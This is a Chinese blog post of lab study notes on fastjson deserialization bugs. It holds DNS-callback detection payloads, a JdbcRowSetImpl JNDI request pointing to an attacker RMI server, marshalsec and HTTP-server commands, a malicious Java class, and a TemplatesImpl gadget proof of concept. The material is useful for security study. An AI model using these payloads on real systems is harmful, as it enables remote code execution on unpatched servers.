fastjson

环境搭建

1
2
3
4
docker-compose up -d
docker exec -it 4ebd6ab513c8 bash 进入后台
docker restart 4ebd6ab513c8 重启
docker kill id

fastjson

先从fastjson开始吧,看群里师傅都在讲“fastjson不出网怎么利用,不要跟我说dnslog!”

fastjson即JAVA类的开源库,序列化用的,JAVA对象转化为JSON格式

提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换

https://www.runoob.com/w3cnote/fastjson-intro.html

https://github.com/vulhub/vulhub/tree/master/fastjson/

特征:用POST请求不闭合{

1
2
3
POST / HTTP/1.1
...
{

响应包出现

1
(type=Internal Server Error, status=500)

或者dnslog回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(1.2.67前的版本时)
POST / HTTP/1.1
...
{
"b":{
"@type":"java.net.Inet4Address",
"val":"dnslog地址"
}
}

响应包回应 {"age":20}
且 dnslog接收到请求


(1.2.67后的版本时)
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}

至于版本判断的话,都是尝试一遍可能的poc,根据延迟、显错判断,自动化打一遍

1
2
{
"@type": "java.lang.AutoCloseable"

版本号判断方法:http://t.csdnimg.cn/l3eX5

https://www.freebuf.com/articles/web/242712.html

https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md

1.2.24-rce

CVE-2017-18349

利用方式

这里说是利用了CC2的TemplatesImpl类

https://mp.weixin.qq.com/s/3KQ96LvsEPwDPn6WuqiK4A

出网利用

编写java文件,javac Ft.java编译成Ft.class文件

1
2
javac 1.8.0_202
java version "1.8.0_321"

文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

启用rmi服务器,最好java 8版本,加载远程类Ft.class

使用(ldap|rmi)://host:port/obj 作为一个jndiUrl,指向服务监听的端口

1
2
3
python -m http.server 89 #启动http服务器,并将Tf.class放置该处

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:89/#Tf" 9999

请求包

JdbcRowSetImpl

jdnc注入,高版本的话对rmi和ldap貌似有白名单限制

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
...
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击机服务器ip:9999/Tf",
"autoCommit":true
}
}

这个貌似直接抓直接改,这里我用的yakit放到repeate处发送不行

效果图如下:

没有rmi服务器的jar包,也可以用yakit的反连,rmi服务器是连接到了,但是curl dnslog地址,没成功,dnslog没接收到消息,其它命令也不行,java版本8没错嘞,嘶

原理

先补基础

rmi:所谓的远程方法调用,这个rmi服务器的目的从命令中不难看出,我把我的class文件放到了B主机的服务器上,A主机来访问就是了,类似于本地的库的调用,给个连接服务器就行,代码层面我看不懂

https://cloud.tencent.com/developer/article/1974944

jndi:在JAVA里用这个接口,用名称访问对象

https://www.cnblogs.com/R0ser1/p/15873446.html

利用原理:也就是可以调用危险的类,JdbcRowSetImpl

它的代码有一部分输入可控

1
2
3
4
5
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

...
在getDataSourceName()中,这个是dataSource = name,直接赋值的

https://www.cnblogs.com/R0ser1/p/15915607.html

总结

1.http服务器下有恶意class文件

2.rmi服务器将该http服务器中class文件映射过来

3.发送恶意POST请求

如果从攻击者的角度看,为了确认该漏洞,可能就通过dnslog外带过来,class文件执行命令可以换成

curl dnslog地址

直接反弹shell危害太大

不出网利用

如果目标服务器不出网,那就用不了 jdbcRowSetImpl这种JNDI注入方式;且目标服务器需要引用tomcat依赖

似乎没说清楚,就是不能反弹shell,不能让服务器主动请求我们这些恶意服务器,这个意思

所以就不要说什么dnslog了

方式

TemplatesImpl利用

说是条件苛刻,不看了

BCEL <1.2.24

这种类加载器,只要加载用户传入数据的地方皆可成为被利用的攻击点

在fastjson是利用tomcat的BasicDataSource链,将class字节码转化为了bcel并发送

所以很明显,需要有tomcat依赖

https://xz.aliyun.com/t/12492?time__1311=mqmhD5AKYKBKDI5GXEkxjxiT3VDuCnmlYD&alichlgref=https%3A%2F%2Fcn.bing.com%2F

https://mp.weixin.qq.com/s/3KQ96LvsEPwDPn6WuqiK4A

哎,搞的还是模糊的很

——2024-7-4日补充——

不出网,即不能访问外网,可能情况是这个服务器在内网中,一般思路都是:

通过出网服务器(一般是常说的web服务器)作为一个中转服务器,因为web服务器和目标服务器一定同局域网下,同内网网段,所以这两个之间一定可以通讯,否则这个fastjson服务你怎么用起来的嘞?

那这个就涉及到内网的操作了

环境部署+代审(未完成)

2024-7-5

从我之后写的log4j2转过来的,当时log4j2有一篇文章是高版本绕过,牵扯到利用fastjson链,那我重新把这一块补上

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

​ payload参考:https://blog.csdn.net/qq_44223394/article/details/131696371

新建一个运行类,看看这个完整poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
class fastj{
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception {

TemplatesImpl templates = TemplatesImpl.class.newInstance();
String os = System.getProperty("os.name");
if (os != null && os.toLowerCase().startsWith("windows")) {
//win
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc.exe")});
} else if (os != null && os.toLowerCase().startsWith("linux")) {
//linux
setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
}

setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd, "val", jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates, bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();

}
}

运行后确实是弹窗了,但要找链,先搁置

这个文章已经汇集了fastjson各个版本的payload,以及推荐了一个poc2jar综合利用工具

https://mp.weixin.qq.com/s/dnxCEt03jJUFS3-ROHdihg

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信